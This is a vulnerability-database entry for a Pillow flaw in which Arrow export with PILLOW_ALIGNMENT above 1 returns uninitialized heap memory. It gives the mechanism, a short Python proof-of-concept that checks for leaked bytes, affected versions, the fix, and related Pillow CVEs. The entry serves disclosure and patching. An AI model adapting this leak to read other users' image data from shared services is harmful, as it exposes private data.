CVE-2026-114501Medium· 6.3▾ SunlitPillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
▾ Sunlit zone — Low / medium · no exploitation signal
impact 34.7 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Oct 23.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.4%
0.4% → 0.5%
When PILLOW_ALIGNMENT is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier.
With an alignment above 1, the default allocator pads each row up to aligned_linesize and starts the first row at an aligned offset into the block. It then exports im->blocks[0].ptr as xsize * ysize tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.
Tested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.
Whether things leak may depend on allocator configuration. This does show a leak on my Mac.
import os
os.environ["PILLOW_ALIGNMENT"] = "64"
from PIL import Image
# Image A: 64 px wide, so its rows fill the whole aligned stride
a = Image.new("L", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)
del a
# Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0
b = Image.new("L", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)
try:
exported = Image.fromarrow(b, b.mode, b.size).tobytes()
except ValueError as e:
print("Not vulnerable:", e)
else:
if leaked := len(exported) - exported.count(0):
raise RuntimeError(f"{leaked} of {len(exported)} exported bytes are not B's pixels")
Information disclosure for applications that set PILLOW_ALIGNMENT and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.
pillow >= 11.2.1, < 13.0.0Upgrade to a patched release:
pillow 13.0.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-112897High· 7.5Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips
CVE-2026-96637High· 7.1Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS
CVE-2026-96636Medium· 6.5Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)
CVE-2026-96639Critical· 9.8Pillow multi-frame loaders can reuse stale native image storage after mode transitions
CVE-2026-96638Medium· 6.5Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode
CVE-2026-96642High· 7.1Pillow: TarIO negative size field causes infinite CPU-spin loop